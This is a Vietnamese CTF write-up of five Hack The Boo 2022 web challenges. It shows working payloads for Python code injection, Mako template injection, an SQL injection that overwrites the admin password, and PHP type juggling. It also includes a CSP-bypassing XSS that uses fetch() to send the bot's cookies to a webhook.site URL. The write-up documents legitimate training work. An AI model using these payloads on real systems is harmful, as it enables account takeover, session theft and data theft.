[CTF] (Hack The Boo - 2022) Web Category (Write up)

[CTF] (Hack The Boo - 2022) Web Category (Write up)

·

5 min read

Lời nói đầu

Source code của các web challenge tôi để tại đây: drive.google.com/file/d/12YhU97ZnVLK04mjB7R..

Evaluation Deck

Giao diện challenge là 1 game lật bài.

image.png

Mỗi khi tôi lật 1 lá bài thì sẽ gọi tới API /api/get_heath.

Code xử lý API /api/get_heath

image.png

Có thể thấy ngay source là 3 tham số từ dòng 19->21, sink là hàm exec() ở dòng 28. Hàm exec() sẽ thực thi đoạn code ở trong biến code dòng 27 và lưu vào biến result dòng 25.

Điều ta muốn là đọc nội dung file flag.txt. Tuy nhiên 2 tham số current_healthattack_power đều bị cast thành kiểu int. Do vậy operator là tham số duy nhất khả thi để khai thác.

Ý tưởng ở đây là ghi đè nội dung của biến result. Tôi lưu nội dung file flag.txt và ghi đè biến result bằng payload sau:

{"current_health":"100","attack_power":"43","operator":";result=open('/flag.txt','r').readline()#"}

Dấu ; để ngăn cách giữa các statement, dấu # để comment nội dung phía sau nó.

image.png

Kết quả:

image.png

Flag: HTB{c0d3_1nj3ct10ns_4r3_Gr3at!!}

Spookifier

Giao diện challenge là 1 tool biến các chữ ta nhập vào thành 4 chữ với font khác.

image.png

Mỗi khi gõ tên và ấn button Spookify sẽ gọi tới API / với tham số ?text=. Tôi vừa gõ chữ aaa thì sẽ gọi tới /?test=aaa

Code xử lý API /

image.png

Nhìn sơ qua thấy source là biến text ở dòng 9, sink là hàm render_template() ở dòng 12. Mọi thứ nhập vào từ text sẽ được truyền qua file index.html với nội dung là biến output.

image.png

Cách truyền này không an toàn nên dẫn tới lỗi SSTI (Server Side Template Injection). Ở đây template được sử dụng là Mako, cách để viết 1 expression trong Mako${nội_dung}

Tôi đọc file flag.txt với payload sau:

?text=${open("/flag.txt").read()}

image.png

Kết quả:

image.png

Flag: HTB{t3mpl4t3_1nj3ct10n_1s_$p00ky!!}

Horror Feeds

Giao diện challenge là một trang cho phép đăng ký - đăng nhập:

image.png

Sau khi đăng nhập ta được vào giao diện giống như 4 góc camera quay lại 1 căn phòng bị ma ám. Lúc này ta đi đến phần path /dashboard

image.png

API xử lý /dashboard. Có thể thấy khi render file dashboard.html sẽ được đi kèm flag.

image.png

Tuy nhiên khi đọc file dashboard.html ta thấy không dễ gì có flag như vậy. user phải là admin mới có khả năng đọc flag.

image.png

Lỗi nằm ở đoạn xử lý API /api/register.

image.png

Dòng 55 gọi tới hàm register, hàm này nằm khai báo trong file database.py

Nội dung hàm register():

image.png

sourceusernamepassword, sink là hàm query_db(). Lỗi SQL injection do câu query đều được tạo nên bởi việc nối chuỗi trực tiếp từ 2 tham số usernamepassword.

Ở dòng 35 file database.py cho ta biết password được hash bằng hàm generate_password_hash().

Nội dung hàm generate_password_hash():

image.png

Nói sơ qua về ý tưởng thì tôi muốn lợi dụng câu query INSERT INTO để ghi đè password của user admin. Nhưng lưu ý rằng password khi đăng ký thì bị encrypt nên password ghi đè phải là dạng sau khi bị encrypt.

Khi encrypt thì admin tương ứng với $2b$12$ETbEFkj2D7UpiWYCbt3EteBc23QrQKIO.sN7FZ3mUuCFAWQVcJEJ2

Đoạn code nho nhỏ giúp tôi encrypt:

import os, bcrypt

generate = lambda x: os.urandom(x).hex()
key = generate(50)
salt = bcrypt.gensalt()
print(bcrypt.hashpw('admin'.encode(), salt).decode())

Payload gửi vào API /api/register(là phần body của POST)

{"username":"admin\",\"$2b$12$ETbEFkj2D7UpiWYCbt3EteBc23QrQKIO.sN7FZ3mUuCFAWQVcJEJ2\") ON DUPLICATE KEY UPDATE password=\"$2b$12$ETbEFkj2D7UpiWYCbt3EteBc23QrQKIO.sN7FZ3mUuCFAWQVcJEJ2\"-- ","password":"aaaa"}

Ghi đè thành công:

image.png

Đăng nhập thành công với username:password admin:admin

image.png

Tới /dashboard:

image.png

Flag: HTB{N3ST3D_QU3R1E5_AR3_5CARY!!!}

Juggling Facts

Challenge là trang hiện ra các fact

image.png

Tuy nhiên chỉ có admin mới tìm được secret fact

image.png

Mỗi lần ấn vào từng mục Fact thì sẽ gửi tới API /api/getfacts

image.png

Dòng 16 /api/getfacts được xử lý bởi IndexController

image.png

Dò tới file IndexController.php

image.png

Hiển nhiên và cũng rất không hiển nhiên, nếu ta bằng cách nào đưa đoạn switch-case chạy vào case secrets thì sẽ in ra flag.

Biến $jsondata['type'] chính là phần trong body của /api/getfacts.

Ở đây tôi chỉ cần cho điều kiện switch-case là true thì mặc định nó sẽ chạy vào case đầu tiên, cũng chính là case secrets mà tôi cần.

Payload:

image.png

Flag: HTB{sw1tch_stat3m3nts_4r3_vuln3r4bl3!!!}

Cursed Secret Party

Challenge giống như 1 cái survey nhỏ cho phép điền name, email,...

image.png

Khi ấn submit thì API /api/submit được gọi

image.png

Code xử lý /api/submit

image.png

Dữ liệu từ lấy từ body của POST /api/submit sẽ được xử lý tuần tự như sau:

  1. Lưu vào database (dòng 19)

image.png

  1. Con bot lấy dữ liệu và dùng dữ liệu này để gọi qua 2 API /admin /admin/delete_all. Điều đáng nói là khi gọi qua 2 API kia thì nó kèm theo flag trong cookie (dòng 31->36)

image.png

  1. Nếu con bot này gọi đến API /admin thì dữ liệu này còn được dùng để render trang admin.html (Dòng 38)

    image.png

Ở đây ta có thể nhận thấy, dữ liệu được trực tiếp render ra trang admin.html mà không qua bộ lọc nào. Vậy nên ta có lỗi XSS ở đây.

Ý tưởng của tôi là tạo 1 payload XSS để lấy cookie của con bot mỗi khi nó vào /admin.

Tuy nhiên do cấu hình CSP nên tôi sẽ không tạo được các thẻ script mà có src từ nguồn nào khác ngoài http://cdn.jsdelivr.net

image.png

Sau 1 hồi lần mò thì tôi đọc được bài này, tôi nhận ra tôi có thể dùng github như CDN như cách bên dưới.

Link post: gomakethings.com/how-to-turn-any-github-rep..

image.png

Tôi lại mò được github của 1 khứa nào đã tạo sẵn để bypass CSP. github.com/CanardMandarin/csp-bypass

Đây là cách sử dụng cơ bản của nó.

<script src="https://unpkg.com/csp-bypass@1.0.2-0/dist/sval-classic.js"></script>
<br csp="alert(1)">

Tất nhiên không gửi phát ăn ngay được. Phần src tôi sẽ phải sửa lại thành http://cdn.jsdelivr.net/gb/CanartMadarin/csp-bypass/dist/sval-classic.js. Mọi thứ bên trong csp sẽ đều được đưa vào hàm eval().

Vậy thì thực hiện ý tưởng như sau:

  1. Gửi payload chứa XSS, XSS này sẽ gọi tới server web-hook của tôi và đính kèm cookie.

  2. Con bot sẽ tự động click vào trang chứa XSS và trigger cái XSS này.

Payload:

{"halloween_name":"<script src='https://cdn.jsdelivr.net/gh/CanardMandarin/csp-bypass/dist/sval-classic.js'></script><br csp=\"fetch('https://webhook.site/3eeae833-8971-49bd-82fa-82b580ae04e0?cookie='+JSON.stringify((document.cookie)));\">","email":"sheon@sheon.com","costume_type":"aaa","trick_or_treat":"aaa"}

image.png

Con bot trigger XSS và gửi tới server web-hook của tôi:

image.png

Đoạn cookie nhận được: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwidXNlcl9yb2xlIjoiYWRtaW4iLCJmbGFnIjoiSFRCe2Nkbl9jNG5fYnlwNHNzX2M1cCEhfSIsImlhdCI6MTY2Njg0MzIyM30.RSbMNgEhKghXs7Qsm_fA89ZrL05d9rOgzpP7FyfkQLg

Decode đoạn cookie này ra, tôi dùng jwt.io:

image.png

Flag: HTB{cdn_c4n_byp4ss_c5p!!}